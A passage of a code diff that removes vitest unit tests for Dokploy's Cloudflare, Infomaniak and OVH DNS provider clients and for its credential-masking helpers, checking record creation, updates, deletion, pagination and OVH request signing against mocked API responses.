proxied: true,
});
const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
expect(JSON.parse(init.body as string).proxied).toBeUndefined();
});
it("leaves the proxy status untouched when the caller does not set it", async () => {
mockFetch
.mockResolvedValueOnce(cfSuccess([]))
.mockResolvedValueOnce(cfSuccess({ id: "a-1" }));
await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
expect("proxied" in JSON.parse(init.body as string)).toBe(false);
});
it("returns the proxy status when listing records", async () => {
mockFetch.mockResolvedValue(
cfSuccess([
{
id: "a-1",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 1,
proxied: true,
},
]),
);
const records = await cloudflareClient.listRecords(config, "zone-1");
expect(records[0]?.proxied).toBe(true);
});
});
describe("cloudflareClient.upsertRecord", () => {
it("creates a record when none exists for the name/type", async () => {
mockFetch
.mockResolvedValueOnce(cfSuccess([]))
.mockResolvedValueOnce(cfSuccess({ id: "new-1" }));
const result = await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
expect(result).toEqual({ id: "new-1" });
const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
expect(createInit.method).toBe("POST");
});
it("updates the existing record when content matches", async () => {
mockFetch
.mockResolvedValueOnce(
cfSuccess([{ id: "existing-1", type: "A", content: "5.6.7.8" }]),
)
.mockResolvedValueOnce(cfSuccess({ id: "existing-1" }));
const result = await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "A",
name: "app.example.com",
content: "5.6.7.8",
});
expect(result).toEqual({ id: "existing-1" });
const [updateUrl, updateInit] = mockFetch.mock.calls[1] as [
string,
RequestInit,
];
expect(updateUrl).toContain("/dns_records/existing-1");
expect(updateInit.method).toBe("PUT");
});
it("creates a new record when content differs from existing", async () => {
mockFetch
.mockResolvedValueOnce(
cfSuccess([{ id: "existing-1", type: "A", content: "1.1.1.1" }]),
)
.mockResolvedValueOnce(cfSuccess({ id: "new-2" }));
const result = await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "A",
name: "app.example.com",
content: "5.6.7.8",
});
expect(result).toEqual({ id: "new-2" });
const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
expect(createInit.method).toBe("POST");
});
it("defaults ttl to 1 (automatic) when not provided", async () => {
mockFetch
.mockResolvedValueOnce(cfSuccess([]))
.mockResolvedValueOnce(cfSuccess({ id: "new-1" }));
await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "CNAME",
name: "www.example.com",
content: "example.com",
});
const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
const body = JSON.parse(createInit.body as string);
expect(body.ttl).toBe(1);
});
});
describe("cloudflareClient.updateRecord", () => {
it("PUTs directly to the given record id", async () => {
mockFetch.mockResolvedValue(cfSuccess({ id: "r1" }));
const result = await cloudflareClient.updateRecord(config, "zone-1", "r1", {
type: "A",
name: "app.example.com",
content: "9.9.9.9",
ttl: 300,
});
expect(result).toEqual({ id: "r1" });
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
expect(url).toContain("/zones/zone-1/dns_records/r1");
expect(init.method).toBe("PUT");
expect(JSON.parse(init.body as string)).toEqual({
type: "A",
name: "app.example.com",
content: "9.9.9.9",
ttl: 300,
});
});
});
describe("cloudflareClient.deleteRecord", () => {
it("DELETEs the given record id", async () => {
mockFetch.mockResolvedValue(cfSuccess({}));
await cloudflareClient.deleteRecord(config, "zone-1", "r1");
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
expect(url).toContain("/zones/zone-1/dns_records/r1");
expect(init.method).toBe("DELETE");
});
});
describe("cloudflareClient.testConnection", () => {
it("succeeds when the token can list zones", async () => {
mockFetch.mockResolvedValue(cfSuccess([]));
await expect(
cloudflareClient.testConnection(config),
).resolves.toBeUndefined();
});
it("surfaces Cloudflare's error message on an invalid token", async () => {
mockFetch.mockResolvedValue(cfError("Invalid API Token"));
await expect(cloudflareClient.testConnection(config)).rejects.toThrow(
"Invalid API Token",
);
});
});
describe("cloudflareClient auth header", () => {
it("trims whitespace pasted into the token", async () => {
mockFetch.mockResolvedValue(cfSuccess([]));
await cloudflareClient.testConnection({
providerType: "cloudflare",
apiToken: " cf-token\n",
});
const [, init] = mockFetch.mock.calls[0] as [string, RequestInit];
expect((init.headers as Record<string, string>).Authorization).toBe(
"Bearer cf-token",
);
});
});
@@ -1,116 +0,0 @@
import { describe, expect, it, vi } from "vitest";
vi.mock("@dokploy/server/db", () => ({
db: {
query: { dnsProvider: { findFirst: vi.fn(), findMany: vi.fn() } },
insert: vi.fn(),
update: vi.fn(),
delete: vi.fn(),
},
}));
import {
DNS_SECRET_MASK,
maskDnsProviderConfig,
mergeDnsProviderConfig,
} from "@dokploy/server/services/dns-provider";
describe("maskDnsProviderConfig", () => {
it("masks the apiToken for a cloudflare config", () => {
const masked = maskDnsProviderConfig({
providerType: "cloudflare",
apiToken: "real-token",
});
expect(masked).toEqual({
providerType: "cloudflare",
apiToken: DNS_SECRET_MASK,
});
});
it("masks only the secretAccessKey for a route53 config, keeping accessKeyId visible", () => {
const masked = maskDnsProviderConfig({
providerType: "route53",
accessKeyId: "AKIA_VISIBLE",
secretAccessKey: "shh",
});
expect(masked).toEqual({
providerType: "route53",
accessKeyId: "AKIA_VISIBLE",
secretAccessKey: DNS_SECRET_MASK,
});
});
it("leaves an empty sensitive field untouched instead of masking a blank value", () => {
const masked = maskDnsProviderConfig({
providerType: "cloudflare",
apiToken: "",
});
expect(masked).toEqual({ providerType: "cloudflare", apiToken: "" });
});
});
describe("mergeDnsProviderConfig", () => {
it("restores the real secret when the incoming config still has the mask placeholder", () => {
const existing = {
providerType: "cloudflare" as const,
apiToken: "real-token",
};
const incoming = {
providerType: "cloudflare" as const,
apiToken: DNS_SECRET_MASK,
};
expect(mergeDnsProviderConfig(incoming, existing)).toEqual(existing);
});
it("keeps a freshly entered secret instead of the stored one", () => {
const existing = {
providerType: "cloudflare" as const,
apiToken: "old-token",
};
const incoming = {
providerType: "cloudflare" as const,
apiToken: "new-token",
};
expect(mergeDnsProviderConfig(incoming, existing)).toEqual(incoming);
});
it("throws when switching provider type while the field is still masked", () => {
const existing = {
providerType: "cloudflare" as const,
apiToken: "real-token",
};
const incoming = {
providerType: "route53" as const,
accessKeyId: "AKIA",
secretAccessKey: DNS_SECRET_MASK,
};
expect(() => mergeDnsProviderConfig(incoming, existing)).toThrow(
"Credentials must be re-entered",
);
});
it("does not require re-entry for fields that are not sensitive", () => {
const existing = {
providerType: "route53" as const,
accessKeyId: "AKIA_OLD",
secretAccessKey: "old-secret",
};
const incoming = {
providerType: "route53" as const,
accessKeyId: "AKIA_NEW",
secretAccessKey: DNS_SECRET_MASK,
};
expect(mergeDnsProviderConfig(incoming, existing)).toEqual({
providerType: "route53",
accessKeyId: "AKIA_NEW",
secretAccessKey: "old-secret",
});
});
});
@@ -1,486 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mockFetch = vi.fn();
global.fetch = mockFetch as typeof fetch;
import { infomaniakClient } from "@dokploy/server/utils/dns/infomaniak";
const jsonResponse = (body: unknown, ok = true, status = 200) =>
({
ok,
status,
json: async () => body,
}) as Response;
const ikSuccess = (data: unknown) => jsonResponse({ result: "success", data });
const ikPage = (data: unknown, page: number, pages: number) =>
jsonResponse({ result: "success", data, page, pages });
const ikError = (description: string, status = 400) =>
jsonResponse(
{ result: "error", error: { code: "not_authorized", description } },
false,
status,
);
const config = {
providerType: "infomaniak" as const,
apiToken: "ik_test_token",
};
const lastCall = () =>
mockFetch.mock.calls.at(-1) as [string, RequestInit & { method?: string }];
const lastBody = () => JSON.parse(lastCall()[1].body as string);
beforeEach(() => {
mockFetch.mockReset();
});
describe("infomaniakClient.listZones", () => {
it("exposes each domain product as a zone keyed by its name", async () => {
mockFetch.mockResolvedValue(
ikPage(
[
{ id: 1, customer_name: "example.com" },
{ id: 2, customer_name: "example.ch" },
],
1,
1,
),
);
const zones = await infomaniakClient.listZones(config);
expect(zones).toEqual([
{ id: "example.com", name: "example.com" },
{ id: "example.ch", name: "example.ch" },
]);
const [url, init] = lastCall();
// The documented endpoint is the plural one; the singular is legacy and
// returns no pagination metadata at all.
expect(url).toContain("/1/products?service_name=domain");
expect(url).toContain("page=1");
expect(init.headers).toMatchObject({
Authorization: "Bearer ik_test_token",
});
});
it("walks every page so accounts with many domains keep all their zones", async () => {
mockFetch
.mockResolvedValueOnce(ikPage([{ id: 1, customer_name: "a.com" }], 1, 3))
.mockResolvedValueOnce(ikPage([{ id: 2, customer_name: "b.com" }], 2, 3))
.mockResolvedValueOnce(ikPage([{ id: 3, customer_name: "c.com" }], 3, 3));
const zones = await infomaniakClient.listZones(config);
expect(zones.map((zone) => zone.name)).toEqual(["a.com", "b.com", "c.com"]);
expect(mockFetch).toHaveBeenCalledTimes(3);
expect((mockFetch.mock.calls[2] as [string])[0]).toContain("page=3");
});
it("stops after a single page when the response has no pagination", async () => {
mockFetch.mockResolvedValue(ikSuccess([{ id: 1, customer_name: "a.com" }]));
const zones = await infomaniakClient.listZones(config);
expect(zones).toEqual([{ id: "a.com", name: "a.com" }]);
expect(mockFetch).toHaveBeenCalledTimes(1);
});
it("propagates the API error description", async () => {
mockFetch.mockResolvedValue(ikError("Authorization required", 401));
await expect(infomaniakClient.listZones(config)).rejects.toThrow(
"Authorization required",
);
});
});
describe("infomaniakClient.listRecords", () => {
it("rebuilds the fqdn from the relative source", async () => {
mockFetch.mockResolvedValue(
ikSuccess([
{ id: 10, type: "A", source: "app", target: "1.2.3.4", ttl: 300 },
{ id: 11, type: "A", source: "", target: "5.6.7.8", ttl: 600 },
]),
);
const records = await infomaniakClient.listRecords(config, "example.com");
expect(records).toEqual([
{
id: "10",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 300,
},
{
id: "11",
type: "A",
name: "example.com",
content: "5.6.7.8",
ttl: 600,
},
]);
expect(lastCall()[0]).toBe(
"https://api.infomaniak.com/2/zones/example.com/records?with=records_description",
);
});
it.each([".", "", "@"])("treats a %s source as the apex", async (source) => {
mockFetch.mockResolvedValue(
ikSuccess([{ id: 12, type: "A", source, target: "1.2.3.4", ttl: 300 }]),
);
const records = await infomaniakClient.listRecords(config, "example.com");
expect(records[0]?.name).toBe("example.com");
});
it("unquotes TXT targets", async () => {
mockFetch.mockResolvedValue(
ikSuccess([
{
id: 13,
type: "TXT",
source: "_acme-challenge",
target: '"token-value"',
ttl: 300,
},
]),
);
const records = await infomaniakClient.listRecords(config, "example.com");
expect(records[0]?.content).toBe("token-value");
});
it("leaves a CAA target untouched", async () => {
mockFetch.mockResolvedValue(
ikSuccess([
{
id: 14,
type: "CAA",
source: "",
target: '0 issue "letsencrypt.org"',
ttl: 300,
},
]),
);
const records = await infomaniakClient.listRecords(config, "example.com");
expect(records[0]?.content).toBe('0 issue "letsencrypt.org"');
});
});
describe("infomaniakClient.upsertRecord", () => {
it("creates the record when no matching source and type exists", async () => {
mockFetch
.mockResolvedValueOnce(ikSuccess([]))
.mockResolvedValueOnce(ikSuccess({ id: 42 }));
const result = await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 600,
});
expect(result).toEqual({ id: "42" });
const [url, init] = lastCall();
expect(url).toBe("https://api.infomaniak.com/2/zones/example.com/records");
expect(init.method).toBe("POST");
expect(lastBody()).toEqual({
type: "A",
source: "app",
target: "1.2.3.4",
ttl: 600,
});
});
it("updates the existing record when content matches", async () => {
mockFetch
.mockResolvedValueOnce(
ikSuccess([
{ id: 7, type: "A", source: "app", target: "1.2.3.4", ttl: 300 },
]),
)
.mockResolvedValueOnce(ikSuccess({ id: 7 }));
const result = await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
expect(result).toEqual({ id: "7" });
const [url, init] = lastCall();
expect(url).toBe(
"https://api.infomaniak.com/2/zones/example.com/records/7",
);
expect(init.method).toBe("PUT");
expect(lastBody().ttl).toBe(300);
});
it("creates a new record when content differs from existing", async () => {
mockFetch
.mockResolvedValueOnce(
ikSuccess([
{ id: 7, type: "A", source: "app", target: "1.1.1.1", ttl: 300 },
]),
)
.mockResolvedValueOnce(ikSuccess({ id: 50 }));
const result = await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
expect(result).toEqual({ id: "50" });
const [url, init] = lastCall();
expect(url).toBe("https://api.infomaniak.com/2/zones/example.com/records");
expect(init.method).toBe("POST");
});
it("writes a root dot as the source for an apex record and strips the trailing dot", async () => {
mockFetch
.mockResolvedValueOnce(ikSuccess([]))
.mockResolvedValueOnce(ikSuccess({ id: 43 }));
await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "example.com.",
content: "1.2.3.4",
});
expect(lastBody().source).toBe(".");
});
it.each([".", "", "@"])(
"matches an existing apex record stored with a %s source",
async (source) => {
mockFetch
.mockResolvedValueOnce(
ikSuccess([
{ id: 8, type: "A", source, target: "1.2.3.4", ttl: 3600 },
]),
)
.mockResolvedValueOnce(ikSuccess({ id: 8 }));
const result = await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "example.com",
content: "1.2.3.4",
});
expect(result).toEqual({ id: "8" });
expect(lastCall()[1].method).toBe("PUT");
},
);
it("matches the existing apex record instead of creating a duplicate", async () => {
mockFetch
.mockResolvedValueOnce(
ikSuccess([
{
id: 8,
type: "TXT",
source: ".",
target: '"v=spf1 -all"',
ttl: 3600,
},
]),
)
.mockResolvedValueOnce(ikSuccess({ id: 8 }));
const result = await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "TXT",
name: "example.com",
content: "v=spf1 -all",
});
expect(result).toEqual({ id: "8" });
const [url, init] = lastCall();
expect(init.method).toBe("PUT");
expect(url).toBe(
"https://api.infomaniak.com/2/zones/example.com/records/8",
);
expect(lastBody().target).toBe('"v=spf1 -all"');
});
it("quotes a TXT target on write", async () => {
mockFetch
.mockResolvedValueOnce(ikSuccess([]))
.mockResolvedValueOnce(ikSuccess({ id: 44 }));
await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "TXT",
name: "_acme-challenge.example.com",
content: "token-value",
});
expect(lastBody().target).toBe('"token-value"');
});
it("does not double-quote a TXT target that is already quoted", async () => {
mockFetch
.mockResolvedValueOnce(ikSuccess([]))
.mockResolvedValueOnce(ikSuccess({ id: 45 }));
await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "TXT",
name: "_acme-challenge.example.com",
content: '"token-value"',
});
expect(lastBody().target).toBe('"token-value"');
});
it("queries the API with a source and type filter instead of the whole zone", async () => {
mockFetch
.mockResolvedValueOnce(ikSuccess([]))
.mockResolvedValueOnce(ikSuccess({ id: 50 }));
await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
const [url] = mockFetch.mock.calls[0] as [string];
expect(url).toContain("filter%5Bsource%5D=app");
expect(url).toContain("filter%5Btypes%5D%5B%5D=A");
});
it("ignores a partial filter hit rather than overwriting a different record", async () => {
// filter[source] matches substrings: asking for "auto" also returns
// "autoconfig" and "autodiscover". Trusting it would overwrite one of them.
mockFetch
.mockResolvedValueOnce(
ikSuccess([
{
id: 61,
type: "CNAME",
source: "autoconfig",
target: "a.example.net",
ttl: 300,
},
{
id: 62,
type: "CNAME",
source: "autodiscover",
target: "b.example.net",
ttl: 300,
},
]),
)
.mockResolvedValueOnce(ikSuccess({ id: 63 }));
const result = await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "CNAME",
name: "auto.example.com",
content: "c.example.net",
});
expect(result).toEqual({ id: "63" });
expect(lastCall()[1].method).toBe("POST");
});
});
describe("infomaniakClient.updateRecord", () => {
it("updates the record and keeps its id", async () => {
mockFetch.mockResolvedValue(ikSuccess({ id: 7 }));
const result = await infomaniakClient.updateRecord(
config,
"example.com",
"7",
{
type: "CNAME",
name: "www.example.com",
content: "example.com",
ttl: 900,
},
);
expect(result).toEqual({ id: "7" });
const [url, init] = lastCall();
expect(url).toBe(
"https://api.infomaniak.com/2/zones/example.com/records/7",
);
expect(init.method).toBe("PUT");
expect(lastBody()).toEqual({
type: "CNAME",
source: "www",
target: "example.com",
ttl: 900,
});
});
it("falls back to the default ttl when none is provided", async () => {
mockFetch.mockResolvedValue(ikSuccess({ id: 7 }));
await infomaniakClient.updateRecord(config, "example.com", "7", {
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
expect(lastBody().ttl).toBe(300);
});
});
describe("infomaniakClient.deleteRecord", () => {
it("deletes the record", async () => {
mockFetch.mockResolvedValue(ikSuccess(null));
await infomaniakClient.deleteRecord(config, "example.com", "7");
const [url, init] = lastCall();
expect(url).toBe(
"https://api.infomaniak.com/2/zones/example.com/records/7",
);
expect(init.method).toBe("DELETE");
});
it("propagates a delete failure", async () => {
mockFetch.mockResolvedValue(ikError("Record not found", 404));
await expect(
infomaniakClient.deleteRecord(config, "example.com", "7"),
).rejects.toThrow("Record not found");
});
});
describe("infomaniakClient.testConnection", () => {
it("resolves when the domain listing succeeds", async () => {
mockFetch.mockResolvedValue(ikSuccess([]));
await expect(
infomaniakClient.testConnection(config),
).resolves.toBeUndefined();
});
it("rejects on an invalid token", async () => {
mockFetch.mockResolvedValue(ikError("Authorization required", 401));
await expect(infomaniakClient.testConnection(config)).rejects.toThrow(
"Infomaniak: request to /1/products?service_name=domain&per_page=1 failed: Authorization required",
);
});
});
-581
View File
@@ -1,581 +0,0 @@
import { createHash } from "node:crypto";
import { beforeEach, describe, expect, it, vi } from "vitest";
const mockFetch = vi.fn();
global.fetch = mockFetch as typeof fetch;
import { ovhClient } from "@dokploy/server/utils/dns/ovh";
const textResponse = (body: string, ok = true, status = 200) =>
({
ok,
status,
text: async () => body,
}) as Response;
const ovhSuccess = (data: unknown) =>
textResponse(data === undefined ? "" : JSON.stringify(data));
const ovhError = (message: string, status = 403) =>
textResponse(JSON.stringify({ message }), false, status);
const SERVER_TIME = 1788268225;
const config = {
providerType: "ovh" as const,
endpoint: "ovh-eu" as const,
applicationKey: "app-key",
applicationSecret: "app-secret",
consumerKey: "consumer-key",
};
// Each test uses a distinct endpoint so the module-level clock-skew cache, which
// is keyed by base url, never leaks a measurement between them.
let endpointCursor = 0;
const endpoints = [
"ovh-eu",
"ovh-ca",
"ovh-us",
"kimsufi-eu",
"kimsufi-ca",
"soyoustart-eu",
"soyoustart-ca",
] as const;
const baseUrls: Record<(typeof endpoints)[number], string> = {
"ovh-eu": "https://eu.api.ovh.com/1.0",
"ovh-ca": "https://ca.api.ovh.com/1.0",
"ovh-us": "https://api.us.ovhcloud.com/1.0",
"kimsufi-eu": "https://eu.api.kimsufi.com/1.0",
"kimsufi-ca": "https://ca.api.kimsufi.com/1.0",
"soyoustart-eu": "https://eu.api.soyoustart.com/1.0",
"soyoustart-ca": "https://ca.api.soyoustart.com/1.0",
};
/** A config on a not-yet-used endpoint, so the first call always fetches /auth/time. */
const freshConfig = () => {
const endpoint = endpoints[
endpointCursor % endpoints.length
] as (typeof endpoints)[number];
endpointCursor += 1;
return { ...config, endpoint, baseUrl: baseUrls[endpoint] };
};
/** Replies to /auth/time, then to each queued API response in order. */
const mockApi = (...responses: Response[]) => {
let call = 0;
mockFetch.mockImplementation((url: string) => {
if (url.endsWith("/auth/time")) {
return Promise.resolve(textResponse(String(SERVER_TIME)));
}
const response = responses[call];
call += 1;
return Promise.resolve(response ?? ovhSuccess(null));
});
};
const apiCalls = () =>
mockFetch.mock.calls.filter(
([url]) => !(url as string).endsWith("/auth/time"),
) as [string, RequestInit][];
beforeEach(() => {
mockFetch.mockReset();
});
describe("ovhClient request signing", () => {
it("signs the request with the API server clock, not the local one", async () => {
const { baseUrl, ...cfg } = freshConfig();
mockApi(ovhSuccess(["example.com"]));
vi.spyOn(Date, "now").mockReturnValue((SERVER_TIME - 120) * 1000);
await ovhClient.listZones(cfg);
const [url, init] = apiCalls()[0] as [string, RequestInit];
const headers = init.headers as Record<string, string>;
expect(url).toBe(`${baseUrl}/domain/zone`);
expect(headers["X-Ovh-Timestamp"]).toBe(String(SERVER_TIME));
expect(headers["X-Ovh-Application"]).toBe("app-key");
expect(headers["X-Ovh-Consumer"]).toBe("consumer-key");
const expected = createHash("sha1")
.update(
["app-secret", "consumer-key", "GET", url, "", SERVER_TIME].join("+"),
)
.digest("hex");
expect(headers["X-Ovh-Signature"]).toBe(`$1$${expected}`);
vi.restoreAllMocks();
});
it("signs a request body when one is sent", async () => {
const { baseUrl, ...cfg } = freshConfig();
mockApi(ovhSuccess([]), ovhSuccess({ id: 5 }), ovhSuccess(null));
vi.spyOn(Date, "now").mockReturnValue(SERVER_TIME * 1000);
await ovhClient.upsertRecord(cfg, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
const [url, init] = apiCalls()[1] as [string, RequestInit];
const headers = init.headers as Record<string, string>;
const body = init.body as string;
expect(body).not.toBe("");
const expected = createHash("sha1")
.update(
["app-secret", "consumer-key", "POST", url, body, SERVER_TIME].join(
"+",
),
)
.digest("hex");
expect(headers["X-Ovh-Signature"]).toBe(`$1$${expected}`);
vi.restoreAllMocks();
});
});
describe("ovhClient.listZones", () => {
it("maps each zone name to a zone", async () => {
const cfg = freshConfig();
mockApi(ovhSuccess(["example.com", "example.fr"]));
const zones = await ovhClient.listZones(cfg);
expect(zones).toEqual([
{ id: "example.com", name: "example.com" },
{ id: "example.fr", name: "example.fr" },
]);
});
it("names the missing root right when OVH refuses the zone listing", async () => {
const cfg = freshConfig();
mockApi(ovhError("This call has not been granted", 403));
// A `GET /domain/zone/*` rule does not cover the bare `GET /domain/zone`,
// so the raw OVH message would send users looking in the wrong place.
await expect(ovhClient.listZones(cfg)).rejects.toThrow(
/missing the `GET \/domain\/zone` right/,
);
});
it("propagates the API error message", async () => {
const cfg = freshConfig();
mockApi(ovhError("Invalid signature", 403));
await expect(ovhClient.listZones(cfg)).rejects.toThrow("Invalid signature");
});
});
describe("ovhClient.listRecords", () => {
it("resolves each id into a full record", async () => {
const cfg = freshConfig();
mockApi(
ovhSuccess([1, 2]),
ovhSuccess({
id: 1,
zone: "example.com",
fieldType: "A",
subDomain: "app",
target: "1.2.3.4",
ttl: 600,
}),
ovhSuccess({
id: 2,
zone: "example.com",
fieldType: "A",
subDomain: null,
target: "5.6.7.8",
ttl: null,
}),
);
const records = await ovhClient.listRecords(cfg, "example.com");
expect(records).toEqual([
{
id: "1",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 600,
},
{
id: "2",
type: "A",
name: "example.com",
content: "5.6.7.8",
ttl: 0,
},
]);
});
it("keeps the records in the order of the returned ids", async () => {
const cfg = freshConfig();
const record = (id: number, subDomain: string) => ({
id,
zone: "example.com",
fieldType: "A",
subDomain,
target: `10.0.0.${id}`,
ttl: 60,
});
mockApi(
ovhSuccess([1, 2, 3, 4, 5]),
...[1, 2, 3, 4, 5].map((id) => ovhSuccess(record(id, `host${id}`))),
);
const records = await ovhClient.listRecords(cfg, "example.com");
expect(records.map((r) => r.id)).toEqual(["1", "2", "3", "4", "5"]);
});
});
describe("ovhClient.upsertRecord", () => {
it("creates the record then refreshes the zone", async () => {
const cfg = freshConfig();
mockApi(ovhSuccess([]), ovhSuccess({ id: 9 }), ovhSuccess(null));
const result = await ovhClient.upsertRecord(cfg, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 600,
});
expect(result).toEqual({ id: "9" });
const calls = apiCalls();
expect(calls[0]?.[0]).toContain(
"/domain/zone/example.com/record?fieldType=A&subDomain=app",
);
expect(calls[1]?.[1].method).toBe("POST");
expect(JSON.parse(calls[1]?.[1].body as string)).toEqual({
fieldType: "A",
subDomain: "app",
target: "1.2.3.4",
ttl: 600,
});
expect(calls[2]?.[0]).toContain("/domain/zone/example.com/refresh");
expect(calls[2]?.[1].method).toBe("POST");
});
it("updates the existing record when content matches", async () => {
const cfg = freshConfig();
mockApi(
ovhSuccess([4]),
ovhSuccess({
id: 4,
zone: "example.com",
fieldType: "A",
subDomain: "app",
target: "1.2.3.4",
ttl: 60,
}),
ovhSuccess(null),
ovhSuccess(null),
);
const result = await ovhClient.upsertRecord(cfg, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
expect(result).toEqual({ id: "4" });
const calls = apiCalls();
expect(calls[2]?.[0]).toContain("/domain/zone/example.com/record/4");
expect(calls[2]?.[1].method).toBe("PUT");
expect(calls[3]?.[0]).toContain("/refresh");
});
it("creates a new record when content differs from existing", async () => {
const cfg = freshConfig();
mockApi(
ovhSuccess([4]),
ovhSuccess({
id: 4,
zone: "example.com",
fieldType: "A",
subDomain: "app",
target: "1.1.1.1",
ttl: 60,
}),
ovhSuccess({ id: 10 }),
ovhSuccess(null),
);
const result = await ovhClient.upsertRecord(cfg, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "5.6.7.8",
});
expect(result).toEqual({ id: "10" });
const calls = apiCalls();
expect(calls[2]?.[1].method).toBe("POST");
expect(calls[3]?.[0]).toContain("/refresh");
});
it("omits the ttl so OVH applies the zone default", async () => {
const cfg = freshConfig();
mockApi(ovhSuccess([]), ovhSuccess({ id: 9 }), ovhSuccess(null));
await ovhClient.upsertRecord(cfg, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
expect(JSON.parse(apiCalls()[1]?.[1].body as string)).not.toHaveProperty(
"ttl",
);
});
it("writes an empty subDomain for the apex and strips the trailing dot", async () => {
const cfg = freshConfig();
mockApi(ovhSuccess([]), ovhSuccess({ id: 9 }), ovhSuccess(null));
await ovhClient.upsertRecord(cfg, {
zoneId: "example.com",
type: "A",
name: "example.com.",
content: "1.2.3.4",
});
expect(apiCalls()[0]?.[0]).toContain("subDomain=");
expect(JSON.parse(apiCalls()[1]?.[1].body as string).subDomain).toBe("");
});
});
describe("ovhClient.updateRecord", () => {
it("updates in place when the type is unchanged", async () => {
const cfg = freshConfig();
mockApi(
ovhSuccess({
id: 4,
zone: "example.com",
fieldType: "A",
subDomain: "app",
target: "1.1.1.1",
ttl: 60,
}),
ovhSuccess(null),
ovhSuccess(null),
);
const result = await ovhClient.updateRecord(cfg, "example.com", "4", {
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 300,
});
expect(result).toEqual({ id: "4" });
const calls = apiCalls();
expect(calls[1]?.[1].method).toBe("PUT");
expect(JSON.parse(calls[1]?.[1].body as string)).toEqual({
subDomain: "app",
target: "1.2.3.4",
ttl: 300,
});
expect(calls[2]?.[0]).toContain("/refresh");
});
it("replaces the record when the type changes, since PUT carries no fieldType", async () => {
const cfg = freshConfig();
mockApi(
ovhSuccess({
id: 4,
zone: "example.com",
fieldType: "A",
subDomain: "app",
target: "1.1.1.1",
ttl: 60,
}),
ovhSuccess(null),
ovhSuccess({ id: 11 }),
ovhSuccess(null),
);
const result = await ovhClient.updateRecord(cfg, "example.com", "4", {
type: "CNAME",
name: "app.example.com",
content: "example.com",
});
expect(result).toEqual({ id: "11" });
const calls = apiCalls();
expect(calls[1]?.[1].method).toBe("DELETE");
expect(calls[2]?.[1].method).toBe("POST");
expect(JSON.parse(calls[2]?.[1].body as string).fieldType).toBe("CNAME");
expect(calls[3]?.[0]).toContain("/refresh");
});
it("restores the original record when the replacement fails", async () => {
const cfg = freshConfig();
const original = {
id: 4,
zone: "example.com",
fieldType: "A",
subDomain: "app",
target: "1.1.1.1",
ttl: 60,
};
mockApi(
ovhSuccess(original),
ovhSuccess(null),
ovhError("Invalid target", 400),
ovhSuccess({ id: 12 }),
ovhSuccess(null),
);
await expect(
ovhClient.updateRecord(cfg, "example.com", "4", {
type: "CNAME",
name: "app.example.com",
content: "not a valid target",
}),
).rejects.toThrow("Invalid target");
const calls = apiCalls();
expect(calls[1]?.[1].method).toBe("DELETE");
expect(calls[2]?.[1].method).toBe("POST");
// The original record is put back with its own type, target and ttl.
expect(JSON.parse(calls[3]?.[1].body as string)).toEqual({
fieldType: "A",
subDomain: "app",
target: "1.1.1.1",
ttl: 60,
});
expect(calls[4]?.[0]).toContain("/refresh");
});
it("reports the lost record when the restore also fails", async () => {
const cfg = freshConfig();
mockApi(
ovhSuccess({
id: 4,
zone: "example.com",
fieldType: "A",
subDomain: "app",
target: "1.1.1.1",
ttl: 60,
}),
ovhSuccess(null),
ovhError("Invalid target", 400),
ovhError("Service unavailable", 503),
);
await expect(
ovhClient.updateRecord(cfg, "example.com", "4", {
type: "CNAME",
name: "app.example.com",
content: "not a valid target",
}),
).rejects.toThrow(
/Recreate it manually: A app\.example\.com -> 1\.1\.1\.1/,
);
});
it("says the change was applied when only the zone refresh fails", async () => {
const cfg = freshConfig();
mockApi(
ovhSuccess({
id: 4,
zone: "example.com",
fieldType: "A",
subDomain: "app",
target: "1.1.1.1",
ttl: 60,
}),
ovhSuccess(null),
ovhSuccess({ id: 11 }),
ovhError("Service unavailable", 503),
);
// The replacement succeeded, so the record exists at the provider — only
// publishing failed. Rolling back would destroy correct state.
await expect(
ovhClient.updateRecord(cfg, "example.com", "4", {
type: "CNAME",
name: "app.example.com",
content: "example.com",
}),
).rejects.toThrow(/was applied, but refreshing zone "example\.com" failed/);
});
it("does not tell the user to recreate a record that was restored but not published", async () => {
const cfg = freshConfig();
mockApi(
ovhSuccess({
id: 4,
zone: "example.com",
fieldType: "A",
subDomain: "app",
